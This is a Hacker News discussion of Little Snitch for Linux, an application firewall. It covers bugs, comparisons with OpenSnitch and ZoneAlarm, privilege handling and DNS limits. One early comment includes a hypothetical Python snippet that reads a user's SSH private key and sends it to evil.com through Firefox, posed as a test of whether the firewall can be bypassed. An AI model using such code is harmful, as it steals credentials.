LittleSnitch for Linux (obdev.at)
1220 points by pluc 18 hours ago
mixedbit 10 hours ago
I'm not a Little Snitch or Open Snitch user, I wonder if these firewalls are able to block requests done with the use of some other, allow-listed program.
Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:
key = (Path.home() / '.ssh' / 'id_rsa').read_text()
subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
will this request be blocked?littlesnitch 9 hours ago
It depends. Little Snitch for Linux has a two level namespace for processes. It takes the process doing the connection and its parent process into account when evaluating rules.
Also: If an interpreter is run via `#!/bin/interpreter` in the script binary, it makes the rule for the script file path, not the interpreter. This does not work when running the script as `interpreter script`, though.
zamadatix 9 hours ago
With the literal rules described it would not be blocked. A more detailed rule (in Open Snitch at least, not as familiar with the other variants) could match e.g. whether the process's parent tree contained the python binary rather than just if python is the process binding the socket.
mixedbit 9 hours ago
OK, I see, so a limitation is also that I cannot block an individual script, I need to block a Python interpreter.
zamadatix 9 hours ago
duskdozer 9 hours ago
Would it silently allow or would you still get the notif or whatever (iirc from littlesnitch years ago)?
zamadatix 9 hours ago
arsome 5 hours ago
This gets even more involved when you consider things like loading libraries, there's also the impact of calls like OpenProcess/WriteProcessMemory/CreateRemoteThread (Windows-land versions, though I'm sure similar exists elsewhere).
The "good" Windows firewalls like Outpost and Zone Alarm used to have features to catch this, they'd detect when a process tried to invoke or open a running process which had internet access. They'd also do things like detect when a process tried to write a startup item. This went by names like "Leak Control" but it was basically providing near-complete HIDS features with local control.
Joel_Mckay 8 hours ago
The SELinux MAC policy should restrict which files and ports each process may access. In general, most modern distro have this feature, but normal users do not go through the rules training and default enable flag setup. =3
supernes 12 hours ago
Tried it on Fedora 43 (6.19.11 x86_64) and it loaded all CPU cores, dumped 50K lines in the journal and failed to start.
> Error: the BPF_PROG_LOAD syscall returned Argument list too long (os error 7).
> littlesnitch.service: Consumed 3min 38.832s CPU time, 13.7G memory peak.
littlesnitch 9 hours ago
Sorry, we have not tested on Fedora before release. Did not expect so much interest in the first hours after release...
I have now installed Fedora in a VM (ARM64 architecture, though) and it does load, but cannot identify processes. I'm investigating this now.
The other issue seems to be with eBPF compatibility. That's a moving target and I'll investigate next. But resources are limited, I'll need some time to dig into this.
supernes 8 hours ago
There's some good feedback in the GitHub issue on the subject, seems to happen on slightly newer versions of the kernel than the one you've tested on and affects other distros like Arch as well. I'll keep an eye on the discussion and test again once updates are ready.
whilenot-dev 11 hours ago
Someone already created an issue for it: https://github.com/obdev/littlesnitch-linux/issues/1
pixelat3d 7 hours ago
From the download page on the website:
"Note: Little Snitch version 1.0.0 does not currently work with the Btrfs file system! Btrfs is used by default on Fedora, so Little Snitch does not currently identify processes on Fedora. We are working on an 1.0.1 release to fix the issue as soon as possible!"
S0und 11 hours ago
I was looking for a comment like yours. Same issue, in my case only eating up half of my cores but with 100% utilization, webUI not working.
aucisson_masque 10 hours ago
Your average Linux experience.
And the second most upvoted comment is someone seriously asking if 2026 if the year of Linux desktop...
Latty 10 hours ago
Yeah, because no third party program has ever crashed on any other OS.
Come on, this is an absurd comment. Linux has its issues, this is not a serious example of what is keeping normal people from using Linux as a desktop OS. Normal people are not installing the first release of a privacy networking tool that requires you to OK connections.
aucisson_masque 10 hours ago
adammarples 10 hours ago
This is brand new open source software with like 3 stars on github
a-dub 3 hours ago
i have been pretty happy with opensnitch. ui improvements are always welcome although what might be really interesting would be some sort of plug-in system that allows for an agent to watch my interactions activity and the outbound connections and only flag things that seem surprising. also maybe some kind of improvement over the pop-up (maybe get rid of them entirely and add some kind of cli wrapper that allow-lists child processes).
mathfailure 17 hours ago
Nice to have this as an extra option, but being a linux user I value openness of code. I am pretty content with opensnitch + opensnitch-ui.
mixedbit 9 hours ago
Recently I was wondering how viable it is to launch a niche, paid tool for Linux. I found that this is a very rare model, most tools are either just free, supported by sponsorship, supported by some paid cloud-based service that accompanies the tool, use an open-core model with paid add-ons.
I wonder if the decision of Little Snitch to make the Linux version free forever was also informed by this "no way to make money selling tools on Linux" wisdom or if there was another motivation. It seems that if any tool has chances of making decent money on Linux, a product like Little Snitch, which is already well established, with working payment infrastructure would be a good candidate.
dmantis 9 hours ago
Many from linux crowd are slightly paranoid and ideological.
I'm as a linux user very reluctant to install anything proprietary that has such sensitive info as my network traffic and would rather use opensnitch or any other foss fork.
The same time I don't mind to pay for open-source, I donate several thousands USD per year to FOSS projects. But I guess I'm in a minority here and if you make the whole stack open-source you're not going to make many sells really.
lapcat 8 hours ago
> Many from linux crowd are slightly paranoid
Slightly? There are quite a few tin foil hat comments on this submission.
dmantis 8 hours ago
MSFT_Edging 7 hours ago
littlesnitch 7 hours ago
As the author of Little Snitch for Linux, I can tell you what drives us: we are a small company where people (not investors) make the decisions. It was a personal choice of mine, driven by a gut feeling. I'm curious about the outcome...
jron 6 hours ago
As a paying customer, I wasn't expecting this so thank you! Can you expand more on your gut feeling? Also, I have different security expectations on Linux vs MacOS. Would you ever consider open sourcing the daemon?
7402 3 hours ago
The author talks about his motivation right here: https://www.obdev.at/blog/little-snitch-for-linux/
It's not that arcane.
chawyehsu an hour ago
Just tried it on my laptop. Unfortunately, my laptop got extremely hot about 10 seconds after installation. The resource monitor showed that it was eating up all of my laptop's CPU. I panically stopped the service and uninstalled it before I could even open the web UI. It was a really poor first impression.
noisy_boy 2 hours ago
The gold standard, which I haven't been able to achieve, is to be able to do a pi-hole/adguard style centralized control where I can allow youtube but block youtube shorts. All solutions I have seen talk about on-device setup which isn't an option given that I don't want to manage it on a per-device basis.
somat 2 hours ago
Because of the way youtube serves shorts the exact same way it serves any other video it sounds like a man-in-the-middle proxy server would be needed. which to enforce would still require per device config(loading corp style keys). A per device config that would probably be trickier than a shorts killer browser extension.
This is why DoH makes me nervous. Once the embedded ad engines(cough smart tv's) figure it out, we will no longer be able to mitm our dns services. Or to put it more plainly pi-hole will stop working. An open question, Any good way to block DoH? Or are heuristics the only answer?
An unenforceable option would be to set up an independent youtube frontend. https://invidious.io/
My opinion on shorts is a little more generous, sure they are generally brain-cell destroying bottom of the barrel clickbait nonsense. But that can also be said about most of the rest of youtube. What I hate specifically is the shorts doom-scrolling interface. It turns out a "short" can still be viewed on the normal interface. So I use a browser extension to turn shorts urls into normal urls.
jijijijij 2 hours ago
You would have to break E2E encryption, no? I think, at the very least you still would have to manage new TLS certificates per device to MITM yourself. I mean, doable, but also kinda nasty.
Cider9986 18 hours ago
This has the author's blog post on it https://obdev.at/blog/little-snitch-for-linux/
alhazrod 18 hours ago
I remember before Little Snitch there was ZoneAlarm for Windows[0] (here is a good screenshot[1]). No clue if the current version of ZoneAlarm does anything like that (have not used it in 2 decades). I always found it weird that Linux never really had anything like it.
[0]: https://en.wikipedia.org/wiki/ZoneAlarm
[1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-content/upl...
JetSetIlly 13 hours ago
I wrote a program similar to this for AmigaOS many, many years ago. I would have been inspired by ZoneAlarm or a program like it.
I've just found it and uploaded it to github. Looking at the code, I can see my horrible C style of the time. There's probably bugs galore.
https://github.com/JetSetIlly/Direwall
If I remember correctly, it runs as a commodity and patches the socket library. Interestingly, the socket library was not re-entrant (unusual for Amiga libraries) so I had to patch the Exec OpenLibrary() function to monitor the loading of new copies of the socket library. But it's been a long time so memories are hazy.
It'll be interesting to see if it is still compiles and runs for modern AmigaOS, if any active Amiga programmers are around to see.
philipstorry 7 hours ago
What I really liked about ZoneAlarm wasn't just that it was a very nice technology - and it was; but also that it got the user expectations and training right from a very early stage.
It was quite insistent on the fact that it would be "noisy" at first as it queried all the programs you ran, but would then quieten down once it had been "trained". It got that across in clear, simple language.
I think it was so successful because it got the soft side of its security job right as well as the hard part. It's certainly why I recommended it to anyone at the time...
yndoendo 3 hours ago
Was working as an IT consultant. We got a call from an international manufacturer in the area for support. Local lead IT manager took down the firewall which infected their computer network around the world. All they wanted were bodies to help clean systems and apply OS updates.
My personal computer had ZoneAlarm on it. It became ground zero for reporting about infected systems. They ignored systems they thought were save; CISCO phone system running on Windows server and other backend devices. The company then bought a few licenses to run their own laptops.
It is such a same that Microsoft destroyed _ERD Commander_ and other quality tools which assisted in the clean up.
orangesilk 12 hours ago
> [ZoneAlarm] I always found it weird that Linux never really had anything like it.
There was simply no need for it. GNU provided most of the software, spyware was unknown.
Only since comercial vendors package for linux and bring their spyware along, the desire to inspect network rose.
justsid 12 hours ago
This is such a naive view on computer security. It’s not just about spyware, which is also not exclusive to commercial vendors.
fsflover 12 hours ago
stavros 5 hours ago
brandon272 17 hours ago
Completely forgot about ZoneAlarm. I remember using it in the early 2000s!
leokennis 12 hours ago
I read ZoneAlarm and it was like suddenly a part of my brain that went unvisited for 25 years lit up...
Steltek 6 hours ago
classic959 10 hours ago
I helped administer the CheckPoint commercial version of this before 2010 in a large enterprise (Checkpoint Integrity it was badged as). Really good product though we did have some bugs with it - I do remember the developers from Israel got involved and were very capable.
It mostly worked exactly as you would want a desktop firewall to, and integrated nicely with Cisco VPN tech, so you could ensure Integrity was operating correctly before fully opening up the tunnel for access to corporate assets.
aaronax 5 hours ago
Same. And in a similar vein--AnalogX NetStat Live.
Foobar8568 14 hours ago
Same... Totally forgot about ZA.
nurettin 15 hours ago
Such nostalgia! I probably forgot about it after switching over to Linux 25 years ago.
loeber 15 hours ago
Same!
alex0com 17 hours ago
This reminded me of running Kerio Personal Firewall. When Kerio ended I switched to either ZA or Comodo firewall, one of them introduced a neat feature of running executables in containers. Made clicking random things so much easier. But the best part with all of these was restricting windows to where it could barely do anything. "RandomXYZ.DLL wants to execute random what and connect to random where? I dont think so MS." lol
Scrounger 14 hours ago
Who remembers BlackICE Defender tho?
SV_BubbleTime 14 hours ago
I was there for SoftICE and BlackICE.
Simpler times.
ninjaoxygen 7 hours ago
bluedino an hour ago
Linux users just browsed firewall logs.
Back when people would try to winnuke others on IRC, the Linux guys would know who sent them the packet and call them out in the channel (and then usually ban them)
VerTiGo_Etrex 15 hours ago
Wow. Insane throwback. I think I first learned about ZoneAlarm from some PC magazine my parents bought for me. Completely forgot about this great piece of freemium!
asimovDev 13 hours ago
if anyone else suddenly started wondering, PC magazines still exist in physical form. There are even still Linux magazines that come with installer CDs for distros. And all kinds of other magazines as well, like for Mac computers, for photo editors, for Raspberry Pi etc.
whalesalad 15 hours ago
I learned about it from Leo and Patrick on The Screen Savers
WhyNotHugo 2 hours ago
> I always found it weird that Linux never really had anything like it.
OpenSnitch must be like ten years old by now. I think also portmaster is somewhat similar too.
blub 2 hours ago
ZoneAlarm, assuming it still exists, would be at least 20 years old.
Back then there was also a nice ~$15 program called Net Limiter which allowed one to cap network speeds individually per program.
tosti 8 hours ago
I ran ntop on a router in 2001. It had a highly insightful overview of traffic with nice looking diagrams and everything. There hasn't been anything like that since as far as I'm aware.
ZoneAlarm otoh, was snakeoil. Programs that ran at the same privilege level (typically everything) could bypass it in various ways.
avazhi 14 hours ago
Back in the Halo 2 days ZoneAlarm and Cain and Abel were the go-to host bridging and bluescreen programs.
A simpler time lol.
Used to use Outpost Firewall Pro, too.
Chaosvex 13 hours ago
Good old Halo 2 stand-bying. An absolute plague.
jerukmangga 17 hours ago
It's interesting hw lng it took for linux to get a user friendly application firewall like OpenSnitch
M95D 12 hours ago
It's because there's no way to make universal kernel modules/drivers, like it is on Windows.
akdev1l 6 hours ago
DerSaidin 13 hours ago
For me it was Sygate personal firewall back on windows xp
kasperset 15 hours ago
There was also Tiny Firewall which got bought by Computer Associates around 2005. Probably the most complicated or fine grain control for me at that time in Windows XP.
distances 14 hours ago
This is what I used! At some point I managed to block DHCP lease renewals on my computer, and Internet would always stop working after a given timespan. Took a good while to figure out I caused the problem myself.
vasvir 13 hours ago
pachouli-please 15 hours ago
i loved zonealarm! and also pained myself with all the little rules and upkeep lol
latentpot 12 hours ago
It was problematic, so we moved to blackice defender iirc
laweijfmvo 17 hours ago
isn’t this essentially built into Windows these days? although it seems to come with a lot of programs pre-approved.
wolrah 16 hours ago
No, the Windows firewall in its default configuration does not restrict outbound connections in any way. Any application can make any outbound connection it wants. If an application attempts to listen for incoming connections from external sources and there is not an existing policy, Windows will pop up a dialog asking the user if they want to allow this and if so whether it should be allowed to listen on all networks, only networks marked as "private", or for domain-bound corporate computers only networks where the domain controller is reachable.
It can be manually configured with very detailed policies, but you have to know where to go to find those controls.
It's been a while since I used ZoneAlarm or Little Snitch, but the last time I used either one the default behavior was instead that any connection attempt or attempt to listen for which there was not a policy would result in a dialog showing all the details about what application is looking to connect to or receive connections from what as well as a variety of options for creating a policy or even not creating a policy and just deciding whether that one connection would be allowed.
Also back when I used ZoneAlarm I had dialup so the taskbar addon they had which showed realtime bandwidth usage and what applications had active connections was really useful. It also had a big red "Stop" button that would immediately disable all connections, which thinking about it in retrospect really makes me miss the more innocent days of the internet.
Neikius 5 hours ago
Iirc the firewall was already in XP. Maybe earlier but sp2 for sure.
Default allows everything though but you could even set outbound blocking rules. Cumbersome UI and no really good visibility though.
lofaszvanitt 7 hours ago
You gonna commit seppuku if you try to add rules with the built in one.
BoredPositron 17 hours ago
Most of the windows firewalls tools are just front ends for the integrated one with more sensible defaults.
hubabuba44 12 hours ago
Congrats on the Linux port, this looks very nice.
Shameless plug: for anyone who wants something fully open source and terminal-based, I maintain RustNet (https://github.com/domcyrus/rustnet). It's a bit different because it's a TUI for real-time connection monitoring with deep packet inspection, not a firewall. No blocking/rules, but it's cross-platform (Linux/macOS/Windows), the entire codebase is open, and it sandboxes itself after init via Landlock with capability dropping.
sva_ 10 hours ago
Very nice, I will give it a try later
parhamn 16 hours ago
Okay hear me out, I use little snitch for a while. Great product. Love finding out what phones where. I make every single request (except my browser, because I'm fine with their sandbox) block until I approve.
Recently I was wondering how you really have to trust something like little snitch given its a full kernel extension effectively able to MITM your whole network stack.
So I went digging (and asked some agents to deep research), and I couldn't find much interesting about the company or its leadership at all.
All a long way to say, anyone know anything about this company?
littlesnitch 9 hours ago
Disclaimer: I'm the developer of Little Snitch for Linux. Regarding MITM concerns: The eBPF component, which actually sees all the traffic, is Open Source (GPLv2). You can review it on Github and verify whether it sends any data to user space: https://github.com/obdev/littlesnitch-linux
But the trust issue is still real, the daemon has to run as root because it needs to watch for new mounts and keep a table of file system roots up-to-date, even after loading all the eBPF programs. As a root process, it can technically do whatever it wants. Unless you limit it with a kind of mandatory access control (SELinux or similar).
This is the very first release and we will probably come up with a more restricted permission requirement in the future. For the moment, I try to catch up with bug reports. There seems to be more diversity in the Linux landscape than I had expected.
hubabuba44 3 hours ago
I'm happy to see this on Linux and I really appreciate the open-sourcing of the eBPF component.
I maintain rustnet, a passive network monitor in the same eBPF + libpcap space, so I ran into a lot of the same issues. Wanted to share what has been working for me on the privilege side, in case any of it is useful for v2.
rustnet ships with setcap 'cap_net_raw,cap_bpf,cap_perfmon+eip' instead of setuid-root. During startup it loads the eBPF programs, opens the pcap handle, and then drops all three caps before touching any packet data. It clears the ambient set, sets PR_SET_NO_NEW_PRIVS, and applies a Landlock ruleset that restricts the filesystem to /proc plus configured log paths and blocks TCP bind/connect on 6.4+ kernels. Code is in src/network/platform/linux/sandbox/ if you want to have a look.
On the "needs to watch mounts" point, totally fair that Little Snitch needs live mount visibility, but I think it is achievable without staying UID 0:
- Watching for mount changes: poll() on /proc/self/mountinfo with POLLPRI wakes on every mount table change from a completely unprivileged process (this is what systemd and mount(8) use internally). Alternatively, an eBPF program on the mount/umount/move_mount tracepoints can be loaded at init and stream events via a ring buffer, with no continued cap cost after load. - Resolving an arbitrary PID to its binary across container mount namespaces: CAP_SYS_PTRACE is enough for that. The /proc/PID/root magic symlink does the namespace translation inline inside the kernel pathwalk, so open("/proc/12345/root/usr/bin/firefox", ...) opens the right file in the right container's view without ever calling setns(), which is what would otherwise need CAP_SYS_ADMIN (the new root).
lapcat 16 hours ago
> All a long way to say, anyone know anything about this company?
Yes, they are indie Mac developers who have been in business for more than 20 years, and Little Snitch for Mac is beloved by many users for a long time.
umpalumpaaa 16 hours ago
Everything has a price though… (I also use little snitch)
lapcat 16 hours ago
ignoramous 12 hours ago
disclaimer: I co-develop (FOSS) Little Snitch / Open Snitch inspired firewall but for Android
> little snitch given its a full kernel extension
On macOS, don't think Little Snitch needs kernel exclaves / extensions. Apple provides userspace ("Network Extension") APIs (however limited) for apps like Little Snitch to use (instead of pf).
> effectively able to MITM your whole network stack
"MITM" means something else, anywho... if network observability (not firewall) is the primary need, cross-platform (GUI) sniffers like Sniffnet exist: https://github.com/GyulyVGC/sniffnet
karlzt 5 hours ago
How does it compare to Portmaster?
https://news.ycombinator.com/item?id=29761978
Portmaster – Open-source network monitor and firewall [315 points | 113 comments]
https://news.ycombinator.com/item?id=23539687
Show HN: Block trackers system-wide on Linux/Windows, a Pi-hole “to go” alt
[6 points by davegson on June 16, 2020 | 2 comments]
moduspol 7 hours ago
I used Little Snitch on Mac a few years ago and liked it, though I wasn't a fan of how (necessarily) deep it had to be in the OS to work. It felt like one of those things where, the moment you have any kind of network connectivity issue, it's the first thing you need to disable to troubleshoot because it's the weirdest thing you're doing.
I guess what I'd really like is a middleware box or something that I could put on my home network, but would then still give the same user experience as the normal app. I don't want to have to log into some web interface and manually add firewall rules after I find something not working. I like the pop-ups that tell you exactly when you're trying to do something that is blocked, and allow you to either add a rule or not.
I'm probably straddling some gray area between consumer-focused and enterprise-focused feature sets, but it would be neat.
vanc_cefepime 6 hours ago
I am the same, used Little Snitch for a few years back in the late 2000s, I think like 2010 until a few years back when I moved fulltime to Linux. Back then, my parents had an iMac and I was the designated "IT" person to keep it running efficiently. My siblings had a bad habit of installing games and hack software on it for their games. I ended up purchasing a license and after the first few hours/days of configuring allow/block lists, it worked pretty well. It earned the label of "Little B*ch" from them since it would stop their gaming hacking apps from connecting and wrecking havoc. Eventually I learned to keep them on a standard user account and separate admin for installing software.
Long story you didn't ask for. Like I said, I haven't used Little Snitch in a while. I'll give this a whirl this weekend. What I have done over the past few years is run AdGuard Home on a min home server. This has helped keep ads undercontrol in our hoursehold and I have an easy "turn off adguard for 10 mins" in homeassistant for the wife so she can do some shopping online since it can occasionally break some sites, but overall they tolerate adguard and think it's a good middle ground. I have a few block lists, nothing too crazy or strict to avoid breaking most sites. On the desktops/laptops, they all run FireFox w uBlock origin.
dyauspitr 6 hours ago
How deep it was in the OS was exactly what I liked about it. I only wished it were open source so I know what exactly is happening with that level of access.
halfcat 6 hours ago
I’ve also wanted something like this. The challenge is with an external appliance you lose awareness of which process is initiating the request.
This is solvable to some degree but requires varying degrees of new complexity depending how smooth of a user experience you’re aiming for.
mobeigi 5 hours ago
I used to use a Windows firewall which basically hijacked a bunch of WinAPI calls and let me approve/deny every request. Trying to be a good secure boy I ran this setup for a while but it was exhausting. Every single action needed dozens of approval windows. After a while I removed the software. I reckon it is good situationally though, trying out a new program for first time (that isn't risky enough for a VM or sandbox), might be good to turn on a tool like this.
microtonal 13 hours ago
Wow. I have used Little Snitch on Mac for years, love this!
If anyone from obdev is reading, please give us a way to pay for it, even if it stays free :), I'd love to support development and would happily pay something between the price of Little Snitch and Little Snitch Mini.
Anyway, thanks a lot!
Bromeo 18 hours ago
How does it compare to opensnitch? https://github.com/evilsocket/opensnitch
sgc 16 hours ago
I just tried littlesnitch and it did not resolve very many ips to domains, which is pretty basic. It also failed to identify most processes, and they were grouped under "Not Identified". It appears these are known limitations of the Linux version [1]. So for that alone I need to stick with opensnitch.
[1] "Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here." -- from https://obdev.at/products/littlesnitch-linux/index.html
littlesnitch 9 hours ago
Regarding unidentified processes: Little Snitch daemon must have been running when the process started in order to identify it reliably. It's best to reboot after installation so that Little Snitch starts before everything else. I should probably note this somewhere.
And regarding failed reverse DNS names: Little Snitch is sniffing DNS lookups. If lookups are encrypted, there is little it can do. We usually recommend DNS encryption at the systemd layer, not at app layer. This way we can see lookups on 127.0.0.53 and the actual lookup sent out is still encrypted.
Also, it's currently only sniffing UDP lookups, not TCP. The eBPF part is already very close to the complexity limits (700k instructions of allowed 1M) and adding TCP parsing would exceed this limit. It should be possible to forbid TCP port 53 with a rule, though. Some complex DNS lookups will fail, but routine things should still work.
patrakov 4 hours ago
sgc 5 hours ago
janc_ 6 hours ago
WhyNotHugo 2 hours ago
jms703 2 hours ago
I wonder why LS can't be given access to systemd resolved stub resolver to get all my DNS lookups.
a022311 8 hours ago
I guess that makes sense, since it's pretty new. OpenSnitch is great software in terms of functionality but I find the UI lacking. If LittleSnitch can keep the same functionality, while improving the UI, I'm switching. My other current concern here is that the LittleSnitch UI is just a Webview and I think it would be much better if there was a native option (ideally GTK-based for me, but Qt would also be acceptable). Webviews are slow and full of bloat.
toredash 13 hours ago
Is there any DNS based software to do block/allow? Kinda lika what's present in CiliumNetworkPolicies in Kubernetes networking?
M95D 11 hours ago
Milpotel 13 hours ago
gus_ 11 hours ago
giancarlostoro 6 hours ago
Not sure, I was wondering the same, opensnitch is what I have installed but its not on currently, I probably got tired of it for whatever reason.
lapcat 18 hours ago
"I researched a bit, found OpenSnitch, several command line tools, and various security systems built for servers. None of these gave me what I wanted: see which process is making which connections, and in the best case deny with a single click." https://obdev.at/blog/little-snitch-for-linux/
haswell 18 hours ago
I've used OpenSnitch for years, and while LittleSnitch definitely has a better UI for showing which process is making which connections over time, OpenSnitch does a pretty good job here. I get a modal popup when a program that hasn't made a connection tries to make a connection, and I can either allow/deny in one click, or further customize the rule e.g. allowing ntpd to connect, but only to pool.ntp.org on port 123.
Where LittleSnitch is definitely ahead is showing process connections over time after said process has been allowed.
unsnap_biceps 17 hours ago
colesantiago 17 hours ago
It is free, no subscription at all and truly open source.
As software should be.
lordmoma 17 hours ago
how should maintainer make money?
abeyer 15 hours ago
7402 3 hours ago
righthand 14 hours ago
foo12bar 16 hours ago
preisschild 11 hours ago
hiccuphippo an hour ago
Awesome. I always felt Linux was missing a per-application firewall. I didn't dig much into it but at least iptables didn't have rules for that when I looked.
adrianwaj 14 hours ago
There was a similar Show HN from 3 weeks ago. https://news.ycombinator.com/item?id=47387443 (open source too) - and there is a live window from all the machines in the swarm. https://dialtoneapp.com/explore - but only 2 so far. Maybe LittleSnitch can generate more data than this? Could end up an immune system for bad actors.
Anything new to get much better performance from low-spec machines that is idiot-proof is a game-changer.
alsetmusic 16 hours ago
Congrats to Linux users on getting a great tool from a quality development shop. Objective Development is one of our (Mac users) exemplars for attention to detail and fit & finish.
Congrats to Objective Development for expanding their well-loved tool to a new platform. You guys rock.
ProllyInfamous 16 hours ago
>attention to detail
Why does LittleSnitch (Mac) pre-resolve IP addresses, before user presses Accept/Deny?
IMHO DNS queries shouldn't initiate without user input.
littlesnitch 8 hours ago
Little Snitch is bound to the API provided by Apple. The NEFilterDataProvider API calls `handleNewFlow()` only after sending out the first IP packet.
Version 6 added DNS encryption and in principle we could filter lookups (similar to PiHole) at this level. That brings other issues, though: This filter is system-wide, so process-specific rules (and overrides) would not work. And results can be cached by mDNSResponder. So when a blocklist causes an issue, you may not be able to fix it by simply disabling the blocklist. But it's still something we consider.
ProllyInfamous 2 hours ago
alsetmusic 14 hours ago
Question for devs, not me.
eviks 13 hours ago
Avicebron 18 hours ago
Probably should throw it out there that I'm building something inspired by littleSnitch for windows. Currently a bit stealthy about it. But when I crowd source the funding for a code signing cert I'll get it out there. Lots of inspiration from LittleSnitch, in spirit if not actual code.
forsalebypwner 17 hours ago
I'd be curious to hear additional details if you can share - got a timeline, or somewhere I can enter my email address for updates? I'd love to alpha/beta test if you're looking for testers.
I've been a GlassWire user for years, which partially fills the role of LS, but not very well. Aside from the many performance issues I've seen, it's missing a lot of LS essentials. To be fair, I think the focus of GlassWire is more about visualizing traffic on your Windows computer, but I definitely believe there is a need for better Windows network software for power users.
Avicebron 16 hours ago
It's a custom WFP driver. No timeline yet..
If you or I guess anyone is curious sereno[hyphen]alpha[dot]ramble[thenumberoftechn9ne'sfavoriterum]@passinbox.com
accidue 11 hours ago
forsalebypwner 11 hours ago
brachkow 7 hours ago
LittleSnitch for Mac is a good looking app.
I always thought that ugly UIs on Linux are because of good designers do not intersect well with programming enthusiasts.
But looking how ugly same app looks on Linux, I’m starting to think it could be a technical limitation. Can someone elaborate?
mfro 6 hours ago
It just depends on the UI frameworks available to developers and their interest in building something good-looking. Different UI frameworks are available for different platforms, and there are only a few good ones that are cross-platform. Qt and GTK are pretty common for linux apps and typically don't look great.
mostlysimilar 17 hours ago
Incredible. LittleSnitch is must-have for macOS and trying to get equivalent functionality on Linux was painful. So very happy to see this, and very happy to give the developers at Objective Development my money.
mayama 14 hours ago
In linux, I trust most distro apps to run with network access without any sort of firewall. And for apps from internet, just put them in bubblewrap or run with flatpak without access to homedir, network, audio, video etc. depending on program.
hackingonempty 18 hours ago
LittleSnitch doesn't tattle on itself phoning home.
p-e-w 18 hours ago
Is that true? If so, that’s not a good sign. I remember how impressed I was by ZoneAlarm in the early 2000s asking permission for itself to connect to the Internet, using the exact same dialogue it presented for any other program, with no dark patterns suggesting that the user should give preferential treatment to it.
jshier 17 hours ago
Doesn't seem to be, I can see LittleSnitch itself connecting to yoyo.org and obdev.at. GP may be referencing a past bug, either in LittleSnitch or macOS.
littlesnitch 8 hours ago
allthetime 13 hours ago
It does… and if it didn’t it would be trivial to prove.
littlesnitch 8 hours ago
Any proofs for this claim?
tankenmate 13 hours ago
I'm so surprised that so few people have heard of Portmaster, it's been around for years and runs on Linux (and Windows if you must). And if you don't need traffic history it's free.
cyberpunk 13 hours ago
portmaster is the tool i use for upgrading installed ports on freebsd since… like… olden times.
TheTaytay 15 hours ago
I’ve been researching the “best” way to build a little outbound network proxy to replace credential placeholders with the real secrets. Since this is designed to secure agents workloads, I figured I might as well add some domain blocking, and other outbound network controls, so I’ve been looking for Little-snitch-like apps to build on. I’ve been surprised to find that there aren’t a ton of open source “filter and potentially block all outbound connections according to rules”. This seems like the sort of thing that would be in a lot of Linux admins’ toolkit, but I guess not! I appreciate these guys building and releasing this.
LoganDark 15 hours ago
Something almost no firewalls get right is pausing connections (NOT rejecting them) until I've decided whether to allow or not. The only firewalls I've seen do this are Little Snitch for Mac, and Portmaster for Windows (before they made it adware / started locking existing local features behind the subscription).
Avicebron 15 hours ago
Firewalls don't do this because they are built at the wrong layer to do proper pending calls. It's too narrow of a design space for most firewalls to care.
LoganDark 15 hours ago
tankenmate 13 hours ago
I use Portmaster (on Linux) and I have never seen ads (either in the app or apps that get their DNS from Portmaster) on it. About the only thing I saw different between the free version and the base level paid for version was traffic history and weekly reports (and badges on Discord if that's your kind of thing).
LoganDark 4 hours ago
jcgl 11 hours ago
OpenSnitch seems to do this just fine? Unless I’m misunderstanding your point. Connections seem to just block until I take an action on the dialog. Now, if an application itself has specified a short timeout (looking at you, NodeJS-based stuff), that obviously doesn’t help. But for most software it works great.
riobard 12 hours ago
>> The macOS version uses deep packet inspection to do this more reliably. That's not an option here.
I thought it would be easier to do DPI on Linux than macOS. No???
littlesnitch 7 hours ago
eBPF is very limited in the code complexity you can achieve. DPI on QUIC, for example, needs a lot of cryptography. That's simply not possible in eBPF. DPI on ordinary TLS still requires that you collect enough network packets to get the name, hold them back until you have a decision and then re-inject them. Holding back packets is not even possible at the layer where we intercept. And even if we find a layer to do this, it adds enough complexity that we no longer pass the verifier.
amonith 11 hours ago
Yeah I thought that was one of the primary use cases of eBPF. Not an expert though, just read about some of these things.
your_challenger 10 hours ago
I use Lulu on my mac. Is it good enough (compared to LittleSnitch)?
notpushkin 2 hours ago
Haven’t tried LittleSnitch, but from what I see it’s on par as far as features go. LuLu’s UI could use some improvements, but otherwise it’s perfectly fine for the job.
VladVladikoff 5 hours ago
I would say it's better.
eviks 14 hours ago
Does it leak your IP like the Mac version?
https://news.ycombinator.com/item?id=35363343
> Little Snitch for Linux is not a security tool.
Maybe not?
> Its focus is privacy:
Or maybe yes?
littlesnitch 9 hours ago
You are referring to the TCP three way handshake problem here. The macOS version is bound by the API provided by Apple: We get the API call for filtering only after the three way handshake has started.
The Linux version is limited in complexity. It has to decide immediately. This has the consequence that no packet leaves the machine if the connection is denied, but on the other hand it means that it's easier to trick. The macOS version can inspect the first packet sent (deep packet inspection) to find the remote host name in TLS headers. The Linux version relies on heuristics: The most recent lookup seen which returned the IP address determines the name. This part is Open Source and you can inspect the algorithm.
Suffocate5100 4 hours ago
I'm glad people are building stuff for Linux, but the people who actually want something like this have likely already been using Opensnitch for years. I'm certainly not going to spend $60 for something that has been doing the job for free.
brycewray 2 hours ago
From the related blog post[0]:
> You can find Little Snitch for Linux here[1]. It is free, and it will stay that way.
cromka 12 hours ago
I know it sounds crazy at this point, but with popular YouTubers switching to Linux, gamers overall well-aware of Steam on Linux advantages and switching as well, plus popular software like LittleSnitch getting ported, 2026 can without irony be named as Year of Linux Desktop, right?
notThrowingAway 10 hours ago
The year of the Linux Desktop will always be $CURRENT_YEAR + 1
pyrale 3 hours ago
To me, the year's in the past. I haven't touched Windows since 2017, and nothing bad happened to me.
But you're right, I guess for some people, there will already be a good reason not to use Linux.
neocron 2 hours ago
I did the switch in 2013 and haven't missed it. For games I ran vga_passthrough and later VFIO and others until pretty recently (I think right after covid I switched to steam directly on linux)
stronglikedan 3 hours ago
The year of the Linux Desktop will be powered by fusion.
dmos62 9 hours ago
What do you call a fallacy where it is implied that the future will be like the past?
almostjazz 6 hours ago
xpe 6 hours ago
